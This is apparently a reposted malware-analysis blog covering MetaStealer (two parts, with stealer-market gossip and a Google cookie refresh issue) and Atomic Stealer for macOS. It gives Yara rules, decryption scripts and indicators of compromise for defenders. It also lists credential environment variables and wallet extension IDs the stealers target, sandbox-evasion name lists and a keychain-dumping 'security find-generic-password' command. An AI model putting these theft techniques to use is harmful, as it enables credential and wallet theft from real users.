ffnbelfdoeiohenkjibnmadjiehjhajb|YoroiWallet\r\nibnejdfjmmkpcnlpebklmnkoeoihofec|Tronlink\r\njbdaocneiiinmjbjlgalhcelgbejmnid|NiftyWallet\r\nnkbihfbeogaeaoehlefnkodbefgpgknn|Metamask\r\nafbcbjpbpfadlkmhmclhkeeodmamcflc|MathWallet\r\nhnfanknocfeofbddgcijnmhnfnkdnaad|Coinbase\r\nfhbohimaelbohpjbbldcngcnapndodjp|BinanceChain\r\nodbfpeeihdkbihmopkbjmoonfanlbfcl|BraveWallet\r\nhpglfhgfnhbgpjdenjgmdgoeiappafln|GuardaWallet\r\nblnieiiffboillknjnepogjhkgnoapac|EqualWallet\r\ncjelfplplebdjjenllpjcblmjkfcffne|JaxxxLiberty\r\nfihkakfobkmkjojpchpfgcmhfjnmnfpi|BitAppWallet\r\nkncchdigobghenbbaddojjnnaogfppfj|iWallet\r\namkmjjmmflddogmhpjloimipbofnfjih|Wombat\r\nfhilaheimglignddkjgofkcbgekhenbh|AtomicWallet\r\nnlbmnnijcnlegkjjpcfjclmcfggfefdm|MewCx\r\nnanjmdknhkinifnkgdcggcfnhdaammmj|GuildWallet\r\nnkddgncdjgjfcddamfgcmfnlhccnimig|SaturnWallet\r\nfnjhmkhhmkbjkkabndcnnogagogbneec|RoninWallet\r\naiifbnbfobpmeekipheeijimdpnlpgpp|TerraStation\r\nfnnegphlobjdpkhecapkijjdkgcjhkib|HarmonyWallet\r\naeachknmefphepccionboohckonoeemg|Coin98Wallet\r\ncgeeodpfagjceefieflmdfphplkenlfk|TonCrystal\r\npdadjkfkgcafgbceimcpbkalnfnepbnk|KardiaChain\r\nbfnaelmomeimhlpmgjnjophhpkkoljpa|Phantom\r\nfhilaheimglignddkjgofkcbgekhenbh|Oxygen\r\nmgffkfbidihjpoaomajlbgchddlicgpn|PaliWallet\r\naodkkagnadcbobfpggfnjeongemjbjca|BoltX\r\nkpfopkelmapcoipemfendmdcghnegimn|LiqualityWallet\r\nhmeobnfnfcmdkdcmlblgagmfpfboieaf|XdefiWallet\r\nlpfcbjknijpeeillifnkikgncikgfhdo|NamiWallet\r\ndngmlblcodfobpdpecaadgfbcggfjfnm|MaiarDeFiWallet\r\nejbalbakoplchlghecdalmeeeajnimhm|MetaMask Edge\r\nmlbafbjadjidklbhgopoamemfibcpdfi|GoblinWallet
  • MSValue15 – stores the environmental variables for tokens and keys:
"AWS_ACCESS_KEY_ID"
"AWS_SECRET_ACCESS_KEY"
"AMAZON_AWS_ACCESS_KEY_ID"
"AMAZON_AWS_SECRET_ACCESS_KEY"
"ALGOLIA_API_KEY"
"AZURE_CLIENT_ID"
"AZURE_CLIENT_SECRET"
"AZURE_USERNAME"
"AZURE_PASSWORD"
"MSI_ENDPOINT"
"MSI_SECRET"
"binance_api"
"binance_secret"
"BITTREX_API_KEY"
"BITTREX_API_SECRET"
"CF_PASSWORD"
"CF_USERNAME"
"CODECLIMATE_REPO_TOKEN"
"COVERALLS_REPO_TOKEN"
"CIRCLE_TOKEN"
"DIGITALOCEAN_ACCESS_TOKEN"
"DOCKER_EMAIL"
"DOCKER_PASSWORD"
"DOCKER_USERNAME"
"DOCKERHUB_PASSWORD"
"FACEBOOK_APP_ID"
"FACEBOOK_APP_SECRET"
"FACEBOOK_ACCESS_TOKEN"
"FIREBASE_TOKEN"
"FOSSA_API_KEY"
"GH_TOKEN"
"GH_ENTERPRISE_TOKEN"
"CI_DEPLOY_PASSWORD"
"CI_DEPLOY_USER"
"GOOGLE_APPLICATION_CREDENTIALS"
"GOOGLE_API_KEY"
"CI_DEPLOY_USER"
"CI_DEPLOY_PASSWORD"
"GITLAB_USER_LOGIN"
"CI_JOB_JWT"
"CI_JOB_JWT_V2"
"CI_JOB_TOKEN"
"HEROKU_API_KEY"
"HEROKU_API_USER"
"MAILGUN_API_KEY"
"MCLI_PRIVATE_API_KEY"
"MCLI_PUBLIC_API_KEY"
"NGROK_TOKEN"
"NGROK_AUTH_TOKEN"
"NPM_AUTH_TOKEN"
"OKTA_CLIENT_ORGURL"
"OKTA_CLIENT_TOKEN"
"OKTA_OAUTH2_CLIENTSECRET"
"OKTA_OAUTH2_CLIENTID"
"OKTA_AUTHN_GROUPID"
"OS_USERNAME"
"OS_PASSWORD"
"PERCY_TOKEN"
"SAUCE_ACCESS_KEY"
"SAUCE_USERNAME"
"SENTRY_AUTH_TOKEN"
"SLACK_TOKEN"
"square_access_token"
"square_oauth_secret"
"STRIPE_API_KEY"
"STRIPE_DEVICE_NAME"
"SURGE_TOKEN"
"SURGE_LOGIN"
"TWILIO_ACCOUNT_SID"
"CONSUMER_KEY"
"CONSUMER_SECRET"
"TRAVIS_SUDO"
"TRAVIS_OS_NAME"
"TRAVIS_SECURE_ENV_VARS"
"VAULT_TOKEN"
"VAULT_CLIENT_KEY"
"TOKEN"
"VULTR_ACCESS"
"VULTR_SECRET"

Let’s look at the Redline sample where it stores the configuration from the sample I analyzed at the end of 2022 and MetaStealer. We can see that MetaStealer is using MSObject* instead of Entity* objects as well as MSValue* instead of Id*. MetaStealer also uses a different type of collections. Redline Stealer uses *System.Collections.Generic.IEnumerable {Entity16[]}* , which represents a sequence of items of type *Entity16*, and the data shown is an array of *Entity16* objects. Metastealer uses *System.Collections.Generic.List*, which represents a dynamic list of strings.

MetaRedline.drawio.png

Next, MetaStealer proceeds with decrypting the binary ID, which is the same XOR algorithm described earlier for retrieving the IP address. Further down, I stumbled across the code that is responsible for extracting the data from the byte array and performing the string replacement. Thanks @cod3nym for pointing out that it’s part of ConfuserEx default constant encryption runtime.

confuserex.jpg

Some of the retrieved strings are then getting replaced:

str_replace 1.jpg

The stealer retrieves the memory with the WMI query SELECT * FROM Win32_OperatingSystem. Next, it retrieves the Windows version via the registry:

winversion.jpg

Interestingly enough, the stealer checks if the directory at the AppData\Local\ElevatedDiagnostics path exists. If the directory does not exist, it creates the directory. If the directory exists, it then checks if it was created more than 14 days ago (by comparing the directory’s creation time to the current time minus 14 days). If the directory is older than 14 days, it deletes and recreates it. This stealer might be trying to clean up old diagnostic reports to hide any traces of execution.

The code below is responsible for screenshot capture.

  • GetVirtualDisplaySize method retrieves the size of the virtual display on a system, which encompasses all the screen area across multiple monitors
  • GetImageBase method is designed to capture an image of the virtual display. First, it retrieves the virtual display size using the GetVirtualDisplaySize method. It then creates a new Bitmap object with the dimensions of the virtual display.
  • ConvertToBytes method is used to convert an Image object to a byte array, presumably for storage or transmission. If the provided image is not null, it saves the image into a MemoryStream in PNG format. The contents of the memory stream are then converted to a byte array.
get_Screenshot.jpg

MetaStealer uses the WMI query SELECT * FROM Win32_DiskDrive to retrieve information (Serial number) of the physical disk drives.

The code below computes an MD5 hash based on the user’s domain name, username, and serial number retrieved from the query above. The GetHexString method is used to convert bytes into a hexadecimal representation. It processes each byte in the byte array, converting every 4 bits into a hexadecimal character and adds hyphens after every 2 characters (equivalent to every 4 hexadecimal digits) in the generated hash) and then removes them (for example 4E6B8D28B175A2BE89124A80E77753C9). The result is stored in MSValue1 within MSObject7. This will be the HWID value.

The stealer proceeds with enumerating the infected system for FileZilla (C:\Users\username\AppData\Roaming\FileZilla\recentservers.xml). Next, it enumerates AV products using the following WMI queries:

  • SELECT displayName FROM AntiVirusProduct
  • SELECT displayName FROM AntiSpyWareProduct
  • SELECT displayName FROM FirewallProduct

The stealer then proceeds with enumerating the directories for VPN apps such as NordVPN, OpenVPN Connect, ProtonVPN within FileScannerRule class. It retrieves a list of FileInfo objects by scanning a directory specified by msobject.MSValue1 using the EnumerateFiles method. The SearchOption parameter determines whether the search is recursive (SearchOption.AllDirectories) or limited to the top directory only (SearchOption.TopDirectoryOnly).

The stealer retrieves information about running processes via the query SELECT * FROM Win32_Process Where SessionId=’“ as well as the command line for each process:

running_proc.jpg

Search method is responsible for searching for files within certain directories (Windows, Program Files, Program Files (x86)). The BaseDirectory is where the search begins, for example, “C:\Users\username\AppData\Local\Battle.net”.

GetBrowser method gets the information on the installed browsers on the infected machine. 1. It attempts to access the Windows Registry to retrieve information about web browsers installed on the system. It opens a specific Registry key path under HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\StartMenuInternet This key is used to store information about web browsers on 64-bit Windows systems. If the first attempt to open the key is unsuccessful, it falls back to opening a similar key path without the “WOW6432Node” part under HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet (32-bit Windows systems). After successfully opening the appropriate Registry key, it retrieves the names of its subkeys (which represent different web browsers) using the GetSubKeyNames() method. Within the loop of iterating through the list of browsers, it creates an instance of an object named MSObject4, which is used to store information about each web browser. The stealer opens a subkey under the current browser’s key path, which corresponds to the “shell\open\command” key, to retrieve the command line associated with launching the browser. This command line is stored in msobject.MSValue3. It then checks if msobject.MSValue3 is not null and then retrieves the file version of the browser executable using FileVersionInfo.GetVersionInfo(msobject.MSValue3).FileVersion.

getbrowsers.jpg

The processor information is retrieved via the query SELECT * FROM Win32_Processor”* within *GetProcessors method.

The list of installed programs is retrieved within ListofPrograms method by accessing the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall.

The basic information gathered such as the timezone, the build ID, stealer name, username, Windows version, screen size, MD5 hash (based on the user’s domain name, username, and serial number), language settings are stored under results variable and the stealer configuration is stored under settings variable.

Here is the snippet of the C2 communication with MetaStealer:

traffic1.png

Redline for comparison:

redline_traffic.png

So how do you differentiate between two stealers if they are very similar? That’s right, the easiest way is probably based on traffic. The traffic for MetaStealer would slightly be different than for Redline Stealer. MetaStealer would have the indicator hxxp://tempuri.org/Contract/MSValue1 as well as MSValue1, MSValue2, etc., whereas Redline Stealer will have hxxp://tempuri.org/Entity/Id1.net as well as Id1, Id2, etc.

As for the binary, we can also look for Id, MSValue, Entity, MSObject patterns like in the screenshot below:

comparison.png

View of the Settings panel: panel_settings.jpg

The Domain Detector settings are used to sort the logs out based on specific domains, the captured logs configured will be displayed as PDD (if the domain is found in credentials), CDD (if the domain is found in cookies) in the Logs panel as well as generated in the Logs file as DomainsDetected.txt. The Misc section allows the user to clone the certificate of the binary and file information and apply it to the stealer build as well as to increase the file size and apply VirusTotal leak monitoring (to monitor if the file is submitted to VT).

misc_panel.jpg

Black Lists section allows the user to blacklist countries (it’s worth noting that. compared to Redline, MetaStealer Stealer does not have an anti-CIS (Commonwealth of Independent States) feature) that prevents the stealer from running in CIS countries), IPs, HWIDs and build IDs.

panel_binder.jpg

Binder/Crypt section allows the user to bind/merge binaries and obfuscate them with ConfuserEx. The user then can launch the merged binary from the disk or directly in memory with process hollowing using the following APIs:

  • CreateProcessInternalW
  • ZwUnmapViewOfsection
  • ZwaAllocateVirtualMemory
  • ZwWriteVirtualMemory
  • ZwGetThreadContext
  • LocalFree
  • ZwSetContexThread
  • ZwResumeThread
  • ZwClose

We can test run the Yara rule that I provided at the end of this article for MetaStealer relying specifically on strings that are unique to MetaStealer on unpac.me. After the successful scan, we see 216 matches and 138 of them are detected as “Redline”

yara_scan_Results.jpg

Configuration Extractor

You can access the configuration extractor here

# Author: RussianPanda
import clr
import re
import base64

  
DNLIB_PATH = 'path_to_dnlib\\dnlib.dll'
clr.AddReference(DNLIB_PATH)

import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes

TARGET_PATH = 'path_to_binary'
module = dnlib.DotNet.ModuleDefMD.Load(TARGET_PATH)

def xor_data(data, key):
    return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

def extract_strings_from_dotnet(target_path):
    module = ModuleDefMD.Load(target_path)
    hardcoded_strings = []
    for t in module.Types:
        for m in t.Methods:
            if m.HasBody:
                for instr in m.Body.Instructions:
                    if instr.OpCode == OpCodes.Ldstr:
                        hardcoded_strings.append(instr.Operand)
    return hardcoded_strings

extracted_strings = extract_strings_from_dotnet(TARGET_PATH)

b64 = r'^[A-Za-z0-9+/]+={0,2}$'
b64_strings = []
last_b64_index = -1

for i, string in enumerate(extracted_strings):
    if re.match(b64, string) and len(string) % 4 == 0 and len(string) > 20:
        b64_strings.append(string)
        last_b64_index = i 

xor_key_match = None
if last_b64_index != -1 and last_b64_index + 2 < len(extracted_strings):
    xor_key_match = extracted_strings[last_b64_index + 2]

for i, string in enumerate(b64_strings):
    if i == 0:
        print("Authentication token:", string)
    else:
        break

xor_key = None

if last_b64_index is not None and last_b64_index + 1 < len(extracted_strings):
    potential_key = extracted_strings[last_b64_index + 1]
    if potential_key:
        xor_key = potential_key.encode()
    else:
        xor_key = xor_key_match.encode() if xor_key_match else None

if xor_key:
    for string in b64_strings[1:]:  
        dec_Data = base64.b64decode(string)
        xor_result = xor_data(dec_Data, xor_key)
        try:
            final_result = base64.b64decode(xor_result)
            string_result = final_result.decode('utf-8')
            print("Decrypted String:", string_result)

        except Exception:
            pass

if len(b64_strings) < 3:
    dec_data_another = None
    xor_key_another = None

    if last_b64_index != -1 and last_b64_index + 1 < len(extracted_strings):
        dec_data_another = extracted_strings[last_b64_index + 1]
  
    if last_b64_index != -1 and last_b64_index + 2 < len(extracted_strings):
        xor_key_another = extracted_strings[last_b64_index + 3]

    if xor_key_another:
        xor_key = xor_key_another.encode()

        if dec_data_another:
            try:
                dec_Data = base64.b64decode(dec_data_another)
                xor_result = xor_data(dec_Data, xor_key)
                final_result = base64.b64decode(xor_result)
                string_result = final_result.decode('utf-8')
                print("Decrypted String:", string_result)
            except Exception as e:
                print(f"Error in decryption: {e}")

        for string in b64_strings:
            try:
                dec_Data = base64.b64decode(string)
                xor_result = xor_data(dec_Data, xor_key)
                final_result = base64.b64decode(xor_result)
                string_result = final_result.decode('utf-8')
                print("Decrypted String:", string_result)
            except Exception as e:
                continue

Yara Rule

import "pe"
rule MetaStealer {

	meta:
		author = "RussianPanda"
		decription = "Detects MetaStealer"
		date = "11/16/2023"

	strings:
		$s1 = "FileScannerRule"
		$s2 = "MSObject"
		$s3 = "MSValue"
		$s4 = "GetBrowsers"
		$s5 = "Biohazard"
			
	condition:
		4 of ($s*) 
		and pe.imports("mscoree.dll")
}

Indicators of Compromise

NameIndicators
MetaStealer Sample78a04c5520cd25d9728becca1f032348b2432a3a803c6fed8b68a8ed8cca426f
MetaStealer Sample1ab93533bff654a20fd069d327ac4185620beb243135640c2213571c8902e325
MetaStealer Sample5f690cddc7610b8d4aeb85b82979f326373674f9f4032ee214a65758f4e479be
MetaStealer Sample65f76d89860101aa45eb3913044bd6c36c0639829f863a85f79b3294c1f4d7bb
MetaStealer Samplec2f2293ce2805f53ec80a5f9477dbb44af1bd403132450f8ea421a742e948494
MetaStealer Sample8502a5cbc33a50d5c38aaa5d82cd2dbf69deb80d4da6c73b2eee7a8cb26c2f71
MetaStealer Sample727d823f0407659f3eb0c017e25023784a249d76c9e95a288b923abb4b2fe0dd
MetaStealer Sample941cc18b46dd5240f03d438ff17f19d946a8037fbe765ae4bc35ffea280df976
MetaStealer Sample1a83b8555b2661726629b797758861727300d2ce95fe20279dec098011de1fff
MetaStealer Samplec90a887fc1013ea0b90522fa1f146b0b33d116763afb69ef260eb51b93cf8f46
MetaStealer Sample19034212e12ba3c5087a21641121a70f9067a5621e5d03761e91aca63d20d993
MetaStealer Sample2db8d58e51ddb3c04ff552ecc015de1297dc03a17ec7c2aed079ed476691c4aa
MetaStealer Samplede01e17676ce51e715c6fc116440c405ca4950392946a3aa3e19e28346239abb
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

MetaStealer Part 2, Google Cookie Refresher Madness and Stealer Drama

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Stealer’s World of Drama

Previously, I wrote a blog going through some of MetaStealer’s functionalities and did a brief comparison with Redline since they are both very similar but, at the same time, different. You might say that all stealers are the same because they have one purpose – to steal. However, each of them is somewhat different from the others, even if they borrowed the code from their predecessors.

Every stealer tries to be better than the other one despite having similar code and functionality. What is considered a good stealer? The stealer has a low detection rate and a high rate of successful infection, or what we call “отстук” in Russian. Stealers such as Redline, Metastealer, Raccoon Stealer, Lumma, RisePro, and Vidar have earned their names in the stealer market. Below is the list of top stealers’ whose logs are being sold on RussianMarket.

russianmarket.jpg

The popularity of mentioned stealers among users, mainly those developed by native Russian speakers, could be attributed to the ease of communication and support in their native language. As you might have noticed, stealers are notably prevalent among Russian-speaking communities. The ability to interact in one’s native language – whether it is to request new features, report issues, or inquire about the functionality of the stealer – significantly simplifies the process compared to the effort required for translation into English. This linguistic accessibility potentially broadens the client base, offering the stealer more opportunities to attract additional users.

The world of stealers is rife with drama, much like any other corner of the cybercriminal ecosystem. I was recently informed about an incident related to the Santa Barbara topic on XSS forums. This topic was created by one of Lumma’s former coders, coinciding with Lumma’s one-year anniversary. To put it briefly, Lumma’s founder did not adequately recognize or compensate the coder’s contributions, leading to dissatisfaction and underpayment.

xss_post.jpg

Another drama story: some of you might know how Aurora Stealer left the market before their infamous botnet release; some users deposited money for the botnet and never got it back, of course. Now, Aurora has become a meme within the stealer’s community.

In July 2023, an advertisement was posted on XSS forums for a new stealer written in Golang, known as “EasyStealer”, then the rumors started spreading among the stealer’s community that this was the work of an Aurora developer, now the stealer is nowhere to be found.

easystealer.jpg

Does all of this impact the sales of stealers? Not at all. People continue to purchase stealers as long as their functionality meets their requirements.

Google Cookie Refresher “feature” or a “0day”

So, you’ve likely heard about the ongoing Google “0day” vulnerability, which allows attackers to obtain fresh cookies, granting them “indefinite” access to Google accounts. It is a rather convenient “feature,” isn’t it? However, it is also quite dangerous because an attacker would be able to get fresh cookies to Google accounts each time the old ones expire.

cookie.jpg

As @g0njxa mentioned, the feature is abused by many stealers, including RisePro, MetaStealer, Whitesnake, StealC, Lumma, Rhadamanthys, and Meduza. Additionally, as of December 29th, Vidar Stealer has implemented this feature.

The question of how long it will take Google to respond to this issue remains unanswered. However, this situation presents even more opportunities for stealers to take advantage of the vulnerability.

The reason why I brought this up is how easily it can be exploited with just a few lines of Python code that includes the decrypted token value, account ID, and the proper request to the server if some people are curious enough to find out. Although, certain parameters need to be slightly tweaked from the server’s response to make it work. Here is my video with proof-of-concept on how it works on a high level. I have created a video demonstrating the proof-of-concept at a high level. For ethical reasons, I will not delve into the technical details of the POC.

MetaStealer Part 2: Technical Analysis

In November 2023, I released the writeup on MetaStealer. However, soon after its release, the malware developer made another update that changed the class names, string encryption algorithm, binary description, and file icon.

MetaStealer new version is approximately 368KB in size with the binary description Cavils Corp. 2010 (the previous one was METRO 2022 Dev).

The logo change:

newlogo.png

If previously, MetaStealer used “Entity” for class names; now it’s using “Schema” and “TreeObject” to store data and configurations instead of MSValue.

class_names_comp.jpg

Instead of string replacement operations, it now accesses a decrypted string from an array based on the given index. For example, below, where it uses ManagementObjectSearcher class to query system management information. The constructor of ManagementObjectSearcher takes two parameters: a WMI query path and a query string, for example “ROOT\SecurityCenter: SELECT * FROM AntivirusProduct”.

wmi_query.jpg

The new string decryption algorithm works the following way:

  • First, the base64-encoded string gets base64-decoded and XOR’ed with the hardcoded key (in our example, it is Crayfish); the XOR’ed string then gets base64-decoded again.
str_dec_1.png
  • Each XOR’ed and base64-decoded string is assigned as an AES key and IV (Keys[1] and Keys[2]).
  • The encrypted byte arrays are then reversed and decrypted using the keys and IV mentioned above
str_dec_2.png

To save us some time, we can use the dynamic approach to decrypt the strings using dnlib. The wonderful approach was detailed by @n1ghtw0lf in this blog. Also, I want to thank @cod3nym for amazing tips when it comes to dealing with .NET shenanigans!

Here are the steps to decrypt the strings:

  • We will use dnlib, a library for reading and writing .NET assemblies to load a .NET module and assembly from a given file path.
def load_net_module(file_path):
    return ModuleDefMD.Load(file_path)

def load_net_assembly(file_path):
    return Assembly.LoadFile(file_path)
# Main script
module = load_net_module(file_path)
assembly = load_net_assembly(file_path)
  • We will define the decryption signature (decryption_signature) to identify methods that are likely used for decryption. This signature includes the expected parameters and return type of the decryption methods.
decryption_signature = [
    {"Parameters": ["System.Int32"], "ReturnType": "System.String"}
]
  • We will search the loaded assembly for methods that match the defined decryption signature.
def find_decryption_methods(assembly):
    suspected_methods = []
    flags = BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic
    for module_type in assembly.GetTypes():
        for method in module_type.GetMethods(flags):
            for sig in decryption_signature:
                if method_matches_signature(method, sig):
                    suspected_methods.append(method)
    return suspected_methods
  • Finally, we will invoke the suspected decryption methods by scanning the assembly’s methods for calls to the suspected decryption methods, extracting the parameters passed to these methods, and invoking the decryption methods with the extracted parameters.
def invoke_methods(module, suspected_methods):
    results = {}
    for method in suspected_methods:
        for module_type in module.Types:
            if not module_type.HasMethods:
                continue
            for m in module_type.Methods:
                if m.HasBody:
                    for insnIdx, insn in enumerate(m.Body.Instructions):
                        if insn.OpCode == OpCodes.Call:
                            called_method_name = str(insn.Operand)
                            if method.Name in called_method_name:
                                params = extract_parameters(m.Body.Instructions, insnIdx, method)
                                if len(params) == len(method.GetParameters()):
                                    try:
                                        result = invoke_method_safely(method, params)
                                        if result is not None:
                                            location = f"{module_type.FullName}.{m.Name}"
                                            results[location] = result
                                    except Exception as e:
                                        None
    return results
  • We will also include the logic to handle different types of parameters, such as integers and strings. It uses get_operand_value to extract values from method instructions based on their type.
def get_operand_value(insn, param_type):
    if "Int32" in param_type and insn.IsLdcI4():
        return Int32(insn.GetLdcI4Value())
    elif "String" in param_type and insn.OpCode == OpCodes.Ldstr:
        return insn.Operand
    return None

You can access the full script here.

Note: Please run the script strictly in a sandbox environment.

The output of the script (tested on the deobfuscated sample MD5: e6db93b513085fe253753cff76054a2a):

decrypted_strings.jpg

You might have noticed an interesting base64-encoded string in the output above.

Upon decoding, we receive a .NET executable qemu-ga.exe (MD5: e6db93b513085fe253753cff76054a2a).

Now, an interesting moment: MetaStealer writes that executable to the Startup after successfully receiving the configuration from the C2 server and collecting user information. The executable does not do anything but enters the indefinite loop that alternates between sleeping for 100 seconds and waiting for user input without doing anything with that input.

qemu-ga.jpg

Another addition to the new version of MetaStealer is the username and computer name check to avoid sandbox environments; if any of the usernames/computer names are found in the list, the stealer process will exit.

List of computer names:

	{
		"bee7370c-8c0c-4", "desktop-nakffmt", "win-5e07cos9alr", "b30f0242-1c6a-4", "desktop-vrsqlag", "q9iatrkprh", "xc64zb", "desktop-d019gdm", "desktop-wi8clet", "server1",
		"lisa-pc", "john-pc", "desktop-b0t93d6", "desktop-1pykp29", "desktop-1y2433r", "wileypc", "work", "6c4e733f-c2d9-4", "ralphs-pc", "desktop-wg3myjs",
		"desktop-7xc6gez", "desktop-5ov9s0o", "qarzhrdbpj", "oreleepc", "archibaldpc", "julia-pc", "d1bnjkfvlh", "compname_5076", "desktop-vkeons4", "NTT-EFF-2W11WSS"
	};

List of usernames:

	{
		"wdagutilityaccount", "abby", "peter wilson", "hmarc", "patex", "john-pc", "rdhj0cnfevzx", "keecfmwgj", "frank", "8nl0colnq5bq",
		"lisa", "john", "george", "pxmduopvyx", "8vizsm", "w0fjuovmccp5a", "lmvwjj9b", "pqonjhvwexss", "3u2v9m8", "julia",
		"heuerzl", "harry johnson", "j.seance", "a.monaldo", "tvm"
	};

Detection Rules

You can access Yara rules here.

You can access Sigma rules here.

Indicators of Compromise

NameIndicator
MetaStealere6db93b513085fe253753cff76054a2a
MetaStealera8d6e729b4911e1a0e3e9053eab2392b
MetaStealerb3cca536bf466f360b7d38bb3c9fc9bc
C25.42.65[.]34:25530

For more samples, please refer to the result of my Yara scan on UnpacMe.

unpacme_results.jpg
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

From Russia With Code: Disarming Atomic Stealer

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Case Study

Atomic Stealer is known to be the first stealer for MacOS devices, it first appeared on Russian hacking in March, 2023.

ads.JPG

For 3000$ per month, the user gets the access to the panel. The user provides Telegram Bot ID and build ID to the seller and the user receives the build.

The stealer allegedly has the following functionalities and features:

  • Login Keychain dump
  • Extract system information
  • FileGrabber (from Desktop, Documents)
  • MacOS Password retrieval
  • Convenient web panel
  • MetaMask brute-forcer
  • Crypto-checker (tool to check the information on crypto assets)
  • Telegram logs

List of browsers supported:

  • Chrome (Autofills, Passwords, Cookies, Wallets, Cards)
  • Firefox (Autofills, Cookies)
  • Brave (Cookies,Passwords,Autofills, Wallets, Cards)
  • Edge (Cookies,Passwords,Autofills, Wallets, Cards)
  • Vivaldi (Cookies,Passwords,Autofills, Wallets, Cards)
  • Yandex (Cookies,Autofills, Wallets, Cards)
  • Opera (Cookies,Autofills, Wallets, Cards)
  • OperaGX (Cookies, Autofills, Wallets, Cards)

Wallet and plugins:

  • Electrum
  • Binance
  • Exodus
  • Atomic
  • Coinomi
  • Plus another 60 plugins

Cyble identified the Go source code path containing the username iluhaboltov. That is not confirmed but might suggest that the developer’s name is Ilya Boltov.

Technical Analysis

In December 2023, Jérôme Segura published an article on the new version of Atomic Stealer circulating on the Internet. Unlike previous versions where the strings were in cleartext, in the new version of AMOS, all the strings are encrypted.

To cheat a little bit, we can look at the functionality of the previous Atomic Stealer to be able to recognize and interpret the actions for some of the decrypted strings in the newer versions.

In the previous version (MD5: bf7512021dbdce0bd111f7ef1aa615d5), AMOS implements anti-VM checks, the stealer executes the command system_profiler SPHardwareDataType. system_profiler is a command-line utility in macOS that provides detailed information about the hardware and software configuration of the Mac device. It’s the command-line equivalent of the “System Information” on Windows and MacOS machines that users can access through the GUI. SPHardwareDataType is a specific data type specifier for the system_profiler command, it instructs the utility to display information related only to the hardware of the system, such as processor name, number of processors, model name, hardware UUID, serial number, etc. If it detects VMware or Apple Virtual Machine – the program exits. If not, the collected information is passed to /Sysinfo.txt.

vm_check.JPG

The FileGrabber in the previous version grabs files with the following extensions from Desktop and Documents folder:

  • txt
  • rtf
  • xlx
  • key
  • wallet
  • jpg
  • png
  • web3
FileGrabber.JPG

The ColdWallets function grabs the cold wallets. Cold wallets often referred to as “cold storage,” is a method of storing cryptocurrencies offline.

ColdWallets.JPG

GrabChromium function is responsible for grabbing data such as AutoFill, Web Data, Login Data, Wallets, Password, Local Extension Settings data from Chromium-based browsers such as Microsoft Edge, Vivaldi, Google Chrome, Brave, Opera within ~/Library/Application Support/ path.

GrabChromium.JPG

keychain function is responsible for retrieving pbkdf2 key from the keychain location. In the screenshot below we can see the pass() being executed if the result of dscl command is not an empty string (“dscl /Local/Default -authonly “, additional parameters are passed to the command including username and an empty password), which means that it would likely fail the authentication.

keychain_fn.JPG

The pass function is responsible for prompting user to enter the password for the device by displaying a message dialog “macOS needs to access System settings %s Please enter your password.” with osascript with title “System Preferences”: Sets the title of the dialog window to System Preferences. The dialog will automatically close after 30 seconds if the user doesn’t interact with it. After retrieving a password with GetUserPassword from the dialog box, the function checks if the returned password is not an empty string and if the password is not empty, the function then calls getpass with the entered password. getpass will try to authenticate with entered password and if it returns 0, which means that the password was entered incorrectly, the user gets “You entered an invalid password” display message.

invalid_password.JPG

Once a valid password is entered, the function proceeds with writing the password to /Users/run/{generated_numeric_value}/password-entered , based on my understanding. The path with the numeric value is generated using the function below where the stealer gets the current time of the device and then seeds the current time with the random number generator.

randgen.JPG

The function then checks if the user’s keychain file (login.keychain-db) exists. If it does, it copies this keychain file to a new location specified by /Users/run/{generated_numeric_value}/login-keychain. The Login Keychain acts as the primary storage file in macOS, where it keeps a majority of the passwords, along with secure notes and various other sensitive pieces of information.”

Let’s come back to pbkdf2 key: in order to grab the key, the stealer executes the command:

security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'

The output is compared against the string SecKeychainSearchCopyNext. SecKeychainSearchCopyNext is a macOS API function used to find the next keychain item that matches given search criteria. If the output is not SecKeychainSearchCopyNext, the code constructs a file path under /Chromium/Chrome and then writes the extracted key into a file named Local State. The pbkdf2 key serves as an essential component for password decryption in Chrome.

Within function dotask(), after collecting data from functions (it’s worth mentioning that the data collected are appeared to be stored at /Users/run/{generated_numeric_value}):

  • GrabChromium()
  • keychain()
  • systeminfo()
  • FileGrabber()
  • GrabFirefox()
  • ColdWallets()

The stealer uses ditto, a command-line utility on macOS that’s used for copying, creating and extracting files, directories and archives, to archive the retrieved logs and sends them over to the command-and-control server. The command used to archive the files: “ditto -c -k –sequesterRsrc –keepParent”. The zip archive name is the same as the randomly generated numeric value that is present in the path mentioned above.

The example of the archived logs:

extracted_logs.JPG

The logs are then sent to the Command and Control (C2) server using a POST request to the /sendlog endpoint.

New Version of AMOS

In the new version of AMOS, the string are encrypted using series of XOR operations shown in the image below.

Let’s briefly go through it:

  • The algorithm first checks a specific condition based on the 10th byte of the array. If this byte (when treated as a binary value) has its least significant bit set to 0 (meaning it’s an even number), the decryption process proceeds.
  • The algorithm iterates through a portion of the byte array, starting from a specific position. In each iteration, it compares the current byte with the following byte and depending on how the current byte relates to the next byte, different XOR operations are applied. These operations are:
    • If the current byte is one less than the next, XOR it with the next byte plus 1.
    • If the current byte is two less than the next, XOR it with the next byte plus 2.
    • If the current byte equals the next byte, XOR it with the current index minus 4 (this value is different for each encrypted string)
    • If the current byte is four less than the next, XOR it with the next byte plus 3.
    • If the current byte is five less than the next, XOR it with the next byte plus 4.
    • After applying the XOR operation, the current byte is incremented by 1, and the algorithm moves to the next byte.
  • This whole process continues until a certain condition is met (like reaching a specific array index), signifying the end of the encrypted data.
decryption_algo.JPG

After struggling to understand why I was failing to reproduce the decryption algorithm from C to Python, @cod3nym helped me to figure out that the solution involved using ctypes.

So, using that information, I wrote the IDAPython script to decrypt the strings, so I don’t have to manually enter each of them in 😀 The script is pretty wonky, but it does the job. You can access the script here.

